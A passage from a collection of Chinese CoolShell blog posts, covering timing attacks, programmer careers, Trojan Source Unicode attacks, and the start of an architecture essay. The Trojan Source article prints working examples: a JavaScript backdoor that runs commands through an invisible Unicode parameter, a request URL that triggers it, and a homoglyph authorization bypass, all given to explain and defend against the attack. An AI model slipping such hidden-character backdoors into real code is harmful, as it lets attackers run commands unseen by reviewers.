y int32) int\nfunc ConstantTimeLessOrEq(x, y int) int\nfunc ConstantTimeSelect(v, x, y int) int\n```\n\n#### One More Thing\n\n\n在文章结束前，再提一个事。\n\n\n上面的所有的代码都还有一个问题——他们都要判断字符串的长度是否一致，如果不一致就返回了，所以，通过时间攻击是可以知道字符串的长度的。比如：你的密码长度。理论上来说，字符串的长度也应该属于“隐私数据”（当然，对于签名则不是）。\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![网络数字身份认证术](../wp-content/uploads/2022/01/iStock-1175502114-150x150.png)](https://coolshell.cn/articles/21708.html)[网络数字身份认证术](https://coolshell.cn/articles/21708.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/936.html)[最完美的Linux桌面软件](https://coolshell.cn/articles/936.html)\n* [![优质代码的十诫](../wp-content/uploads/2009/06/10commandements-150x150.jpg)](https://coolshell.cn/articles/1007.html)[优质代码的十诫](https://coolshell.cn/articles/1007.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/3453.html)[Sony PS3 Root Key 被破解](https://coolshell.cn/articles/3453.html)\nThe post [计时攻击 Timing Attacks](https://coolshell.cn/articles/21003.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-8-7 程序员如何把控自己的职业.md",
    "content": "---\nlayout: post\ntitle: 程序员如何把控自己的职业\ndate: 2020/8/7/ 9:31:29\nupdated: 2020/8/7/ 9:31:29\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/08/programmer.01-e1596792460687-196x300.png)这篇文章的主要内容主要是我今年3月份在腾讯做的直播，主要是想让一些技术人员对世界有一个大体的认识，并且在这个认识下能够有一个好的方法成就自己。而不是在一脸蒙圈的状态下随波逐流，而日益迷茫和焦虑。直播完后，腾讯方面把我的直播形成文字的形式发了出来，我觉得我可以再做一个精编版。所以，有了这篇文章，希望对大家有帮助。\n\n\n对我来说，在我二十多年的工作经历来看，期间经历了很多技术的更新换代，整个技术模式、业务模式也是一直变来变去，我们这群老程序员成长中所经历的技术比今天的程序员玩的还更杂更多。我罗列一下我学过的，而且还被淘汰掉的技术，大家先感受一下。\n\n\n\n```\n- MIS应用开发：FoxPro，PowerBuilder，Delphi\n- OA：Lotus Notes，VBScripts\n- 微软：ODBC/ADO，COM/DCOM，MFC/ATL，J++\n- 服务器：AIX，HP-UX，SCO Unix\n- Web：CGI，ISAPI，SOAP\n- RPC：CICS，Tuxedo\n- J2EE：Websphere，Weblogic\n- DB：Sybase，Informix \n\n```\n\n我想说的是，无论过去还是今天，我们这些前浪和你们后浪所面对的技术的挑战和对技术的焦虑感是相似的，我们那个时候不但玩996，还玩封闭开发（就是一周只能回家一天）。当然，唯一好的东西，就是比起今天的程序员来说，我们那个年代没有像微信、微博、知乎，抖音这些巨大消耗你人生的东西，所以，我们的工作、生活和成长都有很效率，不会被打断、喜欢看书、Google还没有被封……当然，那时代没有StackOverlow和Github这样的东西，所以，能完成的东西或质量都一般。\n\n\n\n当然，这里并不是想做一个比较，只是想让大家了解一下两代程序员间的一些问题各有千秋，大同小异。在整个成长过程中，其实有很多东西是相通的，其本上来说，就是下面的三件事——\n\n\n**第一**，如果想要把控技术，应对这个世界的一些变化，**需要大致知道这个世界的一些规律和发展趋势，另外还得认识自己**，自己到底适合做什么？在这个趋势和规律下属于自己的发挥领域到底是什么？这是我们每个人都需要了解的。\n\n\n**第二**，**打牢基础，以不变应万变**，不管世界怎样变化，我都能很快适应它。基础的重要程度对于你能够飞多高是相当有影响的，懂原理的人比不懂原理的人能做出来的事情或是能解决的问题完全是两个层级的。\n\n\n**第三，提升成长的效率**，因为现在社会的节奏实在太快了，比二十年前快得太多，技术层出不穷，所以我们的成长也要更有效率。效率并不单指的快，效率是怎么样更有效，是有用功除以总功（参看《[加班与效率](https://coolshell.cn/articles/10217.html \"加班与效率\")》），怎么学到更有效的东西，或者怎么更有效学习，是我们需要掌握的另一关键。\n\n\n下面是我这多年来的一些认识，希望对你有帮助。\n\n\n#### 世界发展趋势\n\n\n**我个人经历的信息化革命应该分成三个阶段：**\n\n\n* **1990年代到2000年，这个时代MB时代**，是雅虎、新浪、搜狐、网易门户网站的时代，这个时代就是ISP/ICP互联网提供商，把一些资讯数字化，然后发布到网络上。\n* **2000年到2010年，这个时代叫GB时代，或是叫多媒体或UGC时代**，上网开始变得普遍了，每个人手里的数码设备开始变得多了起来，可以上传照片，可以上传视频，甚至可以在网上做社交。\n* **2010年到2020年，这个时代叫TB时代，这过去的十年是移动互联网时代**，移动互联网只需要手机在线，不需要依靠电脑。因为手机随时在线，所以个人的各种各样的数据始终在被收集，只要用户上网就会产生数据，所以人的行为最终也被数字化了。\n\n\n所有的硬件和软件都是跟着需要处理的数据而演进的，我们需要更大的带宽，更大的硬盘，更多的处理器……大到一定时候就只能进入分布式化的技术架构了，再大，数据中心也顶不住了，就会要引入更为分布式的边缘计算了。\n\n\n另一方面，从业务上来看，**我们可以看到整个世界就在不断地进行数字化，因为，只要数字化了，就可以进行复制传播和计算，只要可以进行计算了，就可以进行数学建模，就可以自动化，只要可以自动化了就可以规模化，只要可能规模化了，就可以改变整个行业**。人类的近代史的大趋势基本上都是在解决能源和自动化的事，源源不断的能源是让机器不知疲倦的前提条件，用机器代替牲口，代替人类进行工作是规模化的前提条件。\n\n\n所以，**技术的演进规律基本是自动化加规模化，从而降低成本，提升效率**。这就是为什么世界变得越来越快，人类都快跟不上节奏的原因，主要是整个社会不断被机器、数据所驱动。\n\n\n#### 人才需求\n\n\n在这个过程中，需要什么样的人？下面是我的一些认识——\n\n\n* **技工**，在机器和自动化面前，肯定是需要能够操作机器的技术工人了，这类人是有技术的劳动力。在编程的圈子里俗称“码农”，他们并不是真正的工程师，他们只是电脑程序的操作员，所以，**随着技术门槛的下降或是技术形式的变更他可能就会变得越来越不值钱，直到被淘汰掉**。\n* **特种工**，这种人是必须了解原理和解决难题的一类人，他们是解决比较难的、特定的一些技术问题。**当一种技术被淘汰，他并不容易被淘汰，因为他懂原理，原理就是解决问题的能力，是解决问题的套路和方法**。\n* **工程师**，不但是使用技术，还可以把活儿做好，他们认为代码更多的时间是在维护，这些人使用各种各样的手段和各种技术，精益求精地持续不断地提高代码的易读性、扩展性、可维护性和重用性，这个过程似乎永无止境。对于这些有“洁癖”，有“工匠精神”，有“修养”的技术人员，我们称他们为工程师。**这种人做事又稳又快，而且可以做出很多称手的工具和方法论**。\n* 再往上是**设计师和架构人员**，这些人主要是开发一些工具，框架，模式，提升软件开发和维护效率，同时也提升用户体验，和提升稳定性、性能、代码重用等，总的来说就是为了降本增效。这类人的工作降低了技术得到门槛，他们把技术门槛降低了以后，就可以把这个技术普及开来，就可以由广大劳工、技工、特殊工人使用了。\n* 还有一类人是**经理**，经理主要是组织团队、完成项目、创造利润。这类人中，即有身先士卒的leader，也有高高在上的boss，但无论怎么样，这些人只不过是为了让一个公司或是一个团队更好组织在一起的“粘合剂”，这类人只有在大公司中才会变成更有价值。\n\n\n这就是我总结的世界需要哪些人才，我们了解这些东西以后大概就明白我们现在所处的位置有什么样的问题，我们应该去什么样的地方。\n\n\n#### Google评分卡\n\n\n接下来，我们再来看看Google的SRE的自我评分卡：\n\n\n\n> 0 – 对于相关的技术领域还不熟悉  \n> \n> 1 – 可以读懂这个领域的基础知识  \n> \n> 2 – 可以实现一些小的改动，清楚基本的原理，并能够在简单的指导下自己找到更多的细节。\n> \n> \n> 3 – 基本精通这个技术领域，完全不需要别人的帮助  \n> \n> 4 – 对这个技术领域非常的熟悉和舒适，可以应对和完成所有的日常工作。\n> \n> \n> * 对于软件领域 – 有能力开发中等规模的程序，能够熟练和掌握并使用所有的语言特性，而不是需要翻书，并且能够找到所有的冷知识。\n> * 对于系统领域 – 掌握网络和系统管理的很多基础知识，并能够掌握一些内核知识以运维一个小型的网络系统，包括恢复、调试和能解决一些不常见的故障。\n> \n> \n> 5 – 对于该技术领域有非常底层的了解和深入的技能。\n> \n> \n> 6 – 能够从零开发大规模的程序和系统，掌握底层和内在原理，能够设计和部署大规模的分布式系统架构  \n> \n> 7 – 理解并能利用高级技术，以及相关的内在原理，并可以从根本上自动化大量的系统管理和运维工作。  \n> \n> 8 – 对于一些边角和晦涩的技术、协议和系统工作原理有很深入的理解和经验。能够设计，部署并负责非常关键以及规模很大的基础设施，并能够构建相应的自动化设施\n> \n> \n> 9 – 能够在该技术领域出一本经典的书。并和标准委员会的人一起工作制定相关的技术标准和方法。  \n> \n> 10 – 在该领域写过一本书，被业内尊为专家，并是该技术的发明人。\n> \n> \n\n\nSRE需要自评如下这些技术或技能。\n\n\n\n> – TCP/IP Networking (OSI stack, DNS etc)  \n> \n> – Unix/Linux internals  \n> \n> – Unix/Linux Systems administration  \n> \n> – Algorithms and Data Structures  \n> \n> – C/C++  \n> \n> – Python  \n> \n> – Java  \n> \n> – Perl  \n> \n> – Go  \n> \n> – Shell Scripting (sh, Bash, ksh, csh)  \n> \n> – SQL and/or Database Admin  \n> \n> – Scripting language of your choice (not already mentioned) \\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_  \n> \n> – People Management  \n> \n> – Project Management\n> \n> \n\n\n这个评分卡是面试Google前需要候选人对自己的各种技术进行自评，也算是一种技术人员的等级的度量尺，其把技术的能分成11个等级，我用颜色把其它成四大层级，希望这个评份卡能够给你一个能力提升的参考标准。\n\n\n#### 认识自己\n\n\n认识了世界是怎么发展的，也知道技术人员的种类和层级，那么还要了解一下自己，因为如果不了解自己，那么你也无法找到自己的路和适合自己的地方。\n\n\n我觉得，一个人要认识自己就需要认识自己的特长、兴趣、热情、擅长等，下面是一个认识自己的标准方法：\n\n\n* **特长**。首先你要找得到自己特长。你要认识自己的特长，找到自己的天赋，找到你在DNA里比别人强的东西，就拿你的DNA跟别人竞争就好了。所以你要找到自己可以干成的事，找到别人找你请教的事，你身边人找你请教就是说明你有特长。这是找到自己特长非常非常重要，扬长避短。\n* **兴趣**。如果你没有找到自己特长，就找自己有兴趣有热情的东西。什么叫兴趣？兴趣是再难再累都不会放弃的事。如果你遇到困难就会放弃不叫兴趣，那叫叶公好龙。不怕困难，痴迷其中，就算你没有特长，有了这种特质，你也是头部的人才。\n* **方法**。如果你没有特长，没有兴趣和热情就要学方法。这种方法就是要有时间观念，要会做计划，要懂统筹、规划对于做过的事情，犯过的错误多总结，举一反三，喜欢自己找答案，自己探究因果关系，这是一些方法，自己总结一些套路。\n* **勤奋。**如果你没有特长，没有兴趣，也没有方法，你还能做的事就是勤奋，勤奋注定会让你成为一个比较劳累的人，也是很有可能被淘汰的人随着你的年纪越来越大，你的勤奋也会越来越不值钱。因为年轻人会比你更勤奋，比你更勤奋、比你斗志更强，比你能力更强，比你要钱更少的人会出现。勤奋最不值钱，但是只要你勤奋至少能够自食其力。\n\n\n以上就是为了应对未来技术变化，作为个人必须要从特长、兴趣、方法一层一层筛选挖掘，**如果没有这些你就要努力和勤奋。就只能接受“福报”了**。\n\n\n从我个人而言，我不算是特别聪明的人，但自认为对技术还是比较感兴趣的，难的我不怕。有很多比较难啃的技术，聪明点的人啃一个月就懂了，我不行，我可能啃半年。但是没有关系，知识都是死的，只要不怕困难总有一天会懂的。最可怕是畏难，为自己找借口，这样就不太好了。\n\n\n#### 打好基础\n\n\n最前面提到我学的各式各样的被淘汰的技术，会让你感觉很迷茫，或是迷失。但前面也提到了“谷歌评分卡”，在这个评分卡中，我们看到了许多基础原理方面的内容，其实要应对未来的变化，很重要的一点就是无招胜有招，以不变应万变。\n\n\n**变化都是表面的东西，内在的东西其实并没有太多的变化**。理论层面上变得不多，反而形式上的东西今天一个花样，明天一个花样，所以如果要去应对这种变化，就一定要打牢自己的基础，提升内功修养。比如像编程的一些方式和套路，修饰模式原理本质，解耦，提升代码的重用度等。提升代码重用度必须解耦，要跟现实解耦，提升抽象，这些都是一些技术基础。无论用什么语言，都是这么做的。\n\n\n打牢基础就可以突破瓶颈，不打牢基础没有办法突破瓶颈。**在技术世界不要觉得量变会造成质变，这是不可能的**。技术这个东西就像搞建筑砌砖头，砌砖头砌的再多也不可能让你能成为一个架构师的，因为你**不懂原理，不懂科学方法，你就不可能成长上去的**，就像学数学一样，当你掌握了微积分这种大杀器后，你解题的能力是无所披靡，而微积分这种方式绝对不是你能“量变”出来的。\n\n\n所以你必须学习基础的理论知识，如果不学这些基础理论知识，还要学习解题思路和方法，如果你只学在表面，那么当这个技术的形式有变化，就会发现以前学的都没用了，要重头学一遍。**掌握技术基础可以让自己找到答案和知识，基础是抽象和归纳，很容易形成进一步的推论**。我们学的很多技术实现都逃不脱基础原理，不管是Java，还是其他语言，只要用TCP用的都是相同的原理，逃不出范围，**只要抓住原理，举一反三，时间一长了，甚至还可以自己推导答案**。对于技术的基础，我会把其它成四类：\n\n\n* **程序语言**：语言的原理，类库的实现，编程技术（并发、异步等），编程范式，设计模式……\n* **系统原理**：计算机系统，操作系统，网络协议，数据库原理……\n* **中间件**：消息队列，缓存系统，网关代理，调度系统 ……\n* **理论知识**：算法和数据结构，数据库范式，网络七层模型，分布式系统……\n\n\n**这些知识其实就是一个计算机科学专业的学生他所要学习的原理**，但可惜的是，我们的一些学校教得也很糟糕，不但老师能力不足，而且放着世界上最优秀的教课书不用了，一定要自己写一本。讲也讲不全，还有各种错误，哎……总之，如果你学习用用到的教材不行，那么可以肯定的是你的学习效率一定是很糟糕的。这就是为什么我们大学上完了，还是跟个傻瓜一样，还要在工作中再重新自学。\n\n\n不过，就算自学，这些基础技术大概需要四五年的时间堆叠。**我工作二十年了，这二十年来基本还是这些原理没变，无论形式怎么变，但是核心永远还是这些，理论创新很难，这是以不变应万变**。\n\n\n#### 学习效率\n\n\n![](../wp-content/uploads/2020/08/learning.pyrimid.jpg)谈到学习效率，就需要拿出这张学习金字塔的图来了。从图可以看到学习方法分布两层，一种是被动学习，也是浅度学习，听讲，阅读，视听，演示都是在被动学习，而与人讨论，自己动手实践，教授给别人是主动学习。主动学习我们称之为深度学习，如果你不能深度学习，你就不能真正学到东西。这也是你会经常有“学那么多干什么，不用就忘了”，这就是浅度学习的症状了。\n\n\n下面，我给出一些我自己觉得不错的学习经验：\n\n\n**1、挑选一手知识和信息源。**对于学习方法：第一我们一定要到知识源去挑选知识，知识信息源非常关键，二手信息丢失太大了，谭浩强写的书就丢失太多信息了。**目前计算机一手知识基本都是国外的**，所以**英文非常重要**。我鼓励大家一定读第一手的资料。如果你英语有问题，至少要看翻译过来，最好是原汁原味翻译的，不要我理解了给你讲那种，那种也是被别人嚼一遍再讲给你你没有体会，是别人带着你，别人的体会会影响你，也许你的体会会比他更好，因为是你自己总结出来的东西，所以知识源很重要。\n\n\n**2、注意原理和基础****第二要注重基础原理**。虽然可以忘记这个技术，但是原理记在心里，我可以徒手实现出来，而且通过原理可以更快学习其他类似的技术。所以原理很重要！当你学会C、C++要学Java和GO都很快。\n\n\n**3、使用知识图谱****一定要学会使用知识图**，把知识结构化。从一个技术关键点开始不断地关联和细化下去，比如：关于TCP协议，首先第一个要记住状态图，怎么建立连接，怎么断连接，状态怎么变迁。TCP没有连接，是靠状态维护连接的。其次，要了解TCP怎么保证可靠性，就是丢包以后怎么重传，重传有哪些技术点。然后，重传会让你联想到拥塞控制，拥塞控制到滑动窗口……。这基本就是TCP的所有东西了，找到关键点，然后顺着这个脉络一点点往下想，通过知识图关联就可以进行顺藤摸瓜。我们不需要记所有知识，那些**手册的知识不需要记，你知道在哪里能找到就可以了**。你脑子里面要有地图，学一个东西就跟在城市生活一样，闭上眼睛就知道地图，A点到B点怎么去大概方向要知道。我在北京我去广州，广州在南边，我大概坐飞机还是火车要心里有数。。\n\n\n**4、学会举一反三**。就是用不同方法学一个东西，比如说学TCP协议，看书是一种方法，编程是另外一种方法，还有用做Debug去看的，用不同方法学一个东西会让你更加熟悉，你学一个知识的同时把周边也学了。比如说学前端能不能把HTTP学一下，比如说长连接、短连接，包括hp1、hp2有一些不一样的东西。\n\n\n**5、总结和归纳。**只有学会总结和归纳，才能形成自己的思维框架、自己的套路、自己的方法论，以后学这个东西应该怎么学。就像学一门新的语言，不管GO语言，还是Rust语言，第一件事情就是了解内存是怎么管理的，数据类型什么样，第二是泛型怎么搞，第三是并发怎么弄。还有一些抽象怎么弄，比如说怎么解耦，怎么实现多态？套路这种东西只有学的多了以后才能形成套路，如果你只学会一门语言不会有套路，你要每年学门语言，不用学多精，你思考这个语言有什么不一样，为什么这个这种有玩法，那个有那种玩法，这些东西思考多了套路方法论就出来了。比如说Windows和Linux有什么不同，Linux和Unix又有什么不同？只有总结自己的框架、套路和方法，这些才永远不会被淘汰。\n\n\n**6、实践和坚持。**剩下就是多做多练，多坚持，只有实践才会有经验，只有锻炼了才能够把自己的脂肪变没，所以，**要把知识变成技能必须练**，就像小学生学会加减乘除，还是要演练，必须多做题，题目做得多了，自然掌握得好。要挑选好的知识源，注重原理技术，有一些原理的基础的书太枯燥，但是我告诉你学习这些基础太值得投入时间，搬砖赚几十元不值得，因为赚的是辛苦钱，老了就赚不了，必须要赚更有能力的钱，这是学习投资。\n\n\n#### 小结\n\n\n好了，该到这篇文章收尾的时候了，小结一下，如果你想更好的把握时代，提升自己，你需要知道这个时代的趋势是什么，需要什么样的人，这些人需要什么样的能力，这些能力是怎么获得的，投入到基础知识的学习就像“基建”一样，如果基础不好，不能长高，学习能力也是需要适应这个快速时代的重要的基础能力，没有好的学习能力，很快就会掉队被淘汰。\n\n\n这些东西，是我从业二十年来的总结和体会，希望对你有用。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\n* [![别让自己“墙”了自己](../wp-content/uploads/2019/12/open-your-creative-mind-150x150.jpg)](https://coolshell.cn/articles/20276.html)[别让自己“墙”了自己](https://coolshell.cn/articles/20276.html)\nThe post [程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2021-11-19 源代码特洛伊木马攻击.md",
    "content": "---\nlayout: post\ntitle: 源代码特洛伊木马攻击\ndate: 2021/11/19/ 9:2:46\nupdated: 2021/11/19/ 9:2:46\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2021/11/il_340x270_pggv.jpg)最近，我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.”也就是说我们的代码中有一些 bidirectional unicode 的文本，中文直译作 “双向文本”，意思是一些语言是从左到右的，而另一些则是是从右到左的（如：阿拉伯语），如果同一个文件里，即有从左向右的文本也有从右向左文本两种的混搭，那么，就叫bi-direction。术语通常缩写为“ **BiDi** ”或“ **bidi** ”。使用双向文本对于中国人来说并不陌生，因为中文又可以从左到右，也可以从右到左，还可以从上到下。\n\n\n![](../wp-content/uploads/2021/11/1637305049427-1024x329.jpg)\n\n\n早期的计算机仅设计为基于拉丁字母的从左到右的方式。添加新的字符集和字符编码使许多其他从左到右的脚本能够得到支持，但不容易支持从右到左的脚本，例如阿拉伯语或希伯来语，并且将两者混合使用更是不可能。从右到左的脚本是通过[ISO/IEC 8859-6](https://en.wikipedia.org/wiki/ISO/IEC_8859-6 \"ISO/IEC 8859-6\")和[ISO/IEC 8859-8](https://en.wikipedia.org/wiki/ISO/IEC_8859-8 \"ISO/IEC 8859-8\")等编码引入的，通常以书写和阅读顺序存储字母。可以简单地将从左到右的显示顺序翻转为从右到左的显示顺序，但这样做会牺牲正确显示从左到右脚本的能力。通过双向文本支持，可以在同一页面上混合来自不同脚本的字符，而不管书写方向如何。\n\n\n\n双向文本支持是计算机系统正确显示双向文本的能力。对于Unicode来说，其标准为完整的 BiDi 支持提供了基础，其中包含有关如何编码和显示从左到右和从右到左脚本的混合的详细规则。你可以使用一些控制字符来帮助你完成双向文本的编排。\n\n\n好的，科普完“双向文本”后，我们正式进入正题，为什么Github 会出这个警告？Github的官方博客“[关于双向Unicode的警告](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/)”中说，使用一些Unicode中的用于控制的隐藏字符，可以让你代码有着跟看上去完全不一样的行为。\n\n\n我们先来看一个示例，下面这段 Go 的代码就会把 “Hello, World”的每个字符转成整型，然后计算其中多少个为 1 的 bit。\n\n\n\n```\npackage main\n\nimport \"fmt\"\n\nfunc main() {\n  str, mask := \"Hello, World!‮10x‭\", 0\n\n  bits := 0\n  for _, ch := range str {\n    for ch > 0 {\n      bits += int(ch) & mask\n      ch = ch >> 1\n    }\n  }\n  fmt.Println(\"Total bits set:\", bits)\n}\n```\n\n这个代码你看上去没有什么 奇怪的地方，但是你在执行的时候（可以直接上Go Playground上执行  –<https://play.golang.org/p/e2BDZvFlet0>），你会发现，结果是 0，也就是说“Hello, World”中没有值为 1 的 bit 位。这究竟发生了什么事？\n\n\n如果你把上面这段代码拷贝粘贴到字符界面上的 vim 编辑器里，你就可以看到下面这一幕。\n\n\n![](../wp-content/uploads/2021/11/1637307319589.jpg)\n\n\n其中有两个浅蓝色的尖括号的东西—— `<202e>` 和 `<202d>` 。这两个字符是两个Unicode的控制字符（注：完整的双向文本控制字符参看 [Unicode Bidirectional Classes](https://www.compart.com/en/unicode/bidiclass)）：\n\n\n* **U+202E – Right-to-Left Override [RLO]**  \n\n表示，开始从右到左显示，于是，接下来的文本 `10x\", 0` 变成了 `0 ,\"x01`\n* **U+202D – Left-to-Right Override [LRO]**  \n\n表示，开始从左到右显示，于是，`0,\"x01` 中的前4个字符`0 ,\"` 反转成  `\", 0`，于是整个文本成了 `\", 0x01`\n\n\n所以，你在视觉上看到的是结果是—— `\"Hello, World!”, 0x01`， 但是实际上是完全是另外一码事。\n\n\n然后，Github官方博客中还给了一个安全问题 [CVE-2021-42574](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42574) ——\n\n\n\n> 在 Unicode 规范到 14.0 的双向算法中发现了一个问题。它允许通过控制序列对字符进行视觉重新排序，可用于制作源代码，呈现与编译器和解释器执行逻辑完全不同的逻辑。攻击者可以利用这一点对接受 Unicode 的编译器的源代码进行编码，从而将目标漏洞引入人类审查者不可见的地方。\n> \n> \n\n\n这个安全问题在剑桥大学的这篇论文“[Some Vulnerabilities are Invisible](https://www.trojansource.codes/)”中有详细的描述。其中PDF版的文章中也给了这么一个示例：\n\n\n通过双向文本可以把下面这段代码：\n\n\n![](../wp-content/uploads/2021/11/1637308872541.jpg)\n\n\n伪装成下面的这个样子：\n\n\n![](../wp-content/uploads/2021/11/1637308847435.jpg)\n\n\n在图 2 中`'alice'`被定义为价值 100，然后是一个从 Alice 中减去资金的函数。最后一行以 50 的值调用该函数，因此该小程序在执行时应该给我们 50 的结果。\n\n\n然而，图 1 向我们展示了如何使用双向字符来破坏程序的意图：通过插入**RLI (Right To Left Isolate)***–* **U+2067***，*我们将文本方向从传统英语更改为从右到左。尽管我们使用了减去资金功能，但图 1 的输出变为 100。\n\n\n除此之外，支持Unicode还可以出现很多其它的攻击，尤其是通过一些“不可见字符”，或是通过“同形字符”在源代码里面埋坑。比如文章“[The Invisible Javascript Backdoor](https://certitude.consulting/blog/en/invisible-backdoor/)”里的这个示例：\n\n\n\n```\nconst express = require('express');\nconst util = require('util');\nconst exec = util.promisify(require('child_process').exec);\n\nconst app = express();\n\napp.get('/network_health', async (req, res) => {\n    const { timeout,ㅤ} = req.query;\n    const checkCommands = [\n        'ping -c 1 google.com',\n        'curl -s http://example.com/',ㅤ\n    ];\n\n    try {\n        await Promise.all(checkCommands.map(cmd => \n                cmd && exec(cmd, { timeout: +timeout || 5_000 })));\n        res.status(200);\n        res.send('ok');\n    } catch(e) {\n        res.status(500);\n        res.send('failed');\n    }\n});\n\napp.listen(8080);\n```\n\n上面这个代码实现了一个非常简单的网络健康检查，HTTP会执行 `ping -c 1 google.com` 以及 `curl -s http://example.com` 这两个命令来查看网络是否正常。其中，可选输入 HTTP 参数`timeout`限制命令执行时间。\n\n\n然后，上面这个代码是有不可见的Unicode 字符，如果你使用VSCode，把编码从 Unicode 改成 DOS (CP437) 后你就可以看到这个Unicode了\n\n\n![](../wp-content/uploads/2021/11/1637310735683-1024x923.jpg)\n\n\n于是，一个你看不见的 `πàñ` 变量就这样生成了，你再仔细看一下整个逻辑，这个看不见的变量，可以让你的代码执行他想要的命令。因为，http 的请求中有第二个参数，这个参数可奖在后面被执行。于是我们可以构造如下的的 HTTP 请求：\n\n\n**http://host:port/network\\_health?%E3%85%A4=<any command>**\n\n\n其中的，%E3%85%A4 就是 `\\u3164` 这个不可见Unicode 的编码，于是，一个后门代码就这样在神不知鬼不觉的情况下注入了。\n\n\n另外，还可以使用“同形字符”，看看下面这个示例：\n\n\n\n```\nif(environmentǃ=ENV_PROD){\n    // bypass authZ checks in DEV\n    return true;\n}\n```\n\n如何你以为 `ǃ` 是 惊叹号，其实不是，它是一个Unicode `╟â`。这种东西就算你把你的源码转成 DOS(CP437) 也没用，因为用肉眼在一大堆正常的字符中找不正常的，我觉得是基本不可能的事。\n\n\n现在，是时候检查一下你的代码有没有上述的这些情况了……\n\n\n（全文完）\n\n\n \n\n\n \n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/2439.html)[黑客的价值观](https://coolshell.cn/articles/2439.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/1957.html)[Web程序的最佳测试数据](https://coolshell.cn/articles/1957.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/1331.html)[Unicode字符预览表](https://coolshell.cn/articles/1331.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3778.html)[敏捷水管工](https://coolshell.cn/articles/3778.html)\n* [![分布式系统的事务处理](../wp-content/uploads/2014/01/trade-off-150x150.jpg)](https://coolshell.cn/articles/10910.html)[分布式系统的事务处理](https://coolshell.cn/articles/10910.html)\nThe post [源代码特洛伊木马攻击](https://coolshell.cn/articles/21649.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2021-12-21 我做系统架构的一些原则.md",
    "content": "---\nlayout: post\ntitle: 我做系统架构的一些原则\ndate: 2021/12/21/ 7:46:41\nupdated: 2021/12/21/ 7:46:41\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x.png)工作 20 多年了，这 20 来年看到了很多公司系统架构，也看到了很多问题，在跟这些公司进行交流和讨论的时候，包括进行实施和方案比较的时候，都有很多各种方案的比较和妥协，因为相关的经历越来越多，所以，逐渐形成了自己的逻辑和方法论。今天，想写下这篇文章，把我的这些个人的经验和想法总结下来，希望能够让更多的人可以参考和借鉴，并能够做出更好的架构来。另外，我的这些思维方式和原则都针对于现有市面上众多不合理的架构和方案，所以，也算是一种“纠正”……（注意，这篇文章所说的这些架构上的原则，一般适用于相对比较复杂的业务，如果只是一些简单和访问量不大的应用，那么你可能会得出相反的结论）\n\n\n#### 原则一：关注于真正的收益而不是技术本身\n\n\n对于软件架构来说，我觉得第一重要的是架构的收益，如果不说收益，只是为了技术而技术，而没有任何意义。对于技术收益来说，我觉得下面这几个收益是非常重要的：\n\n\n* 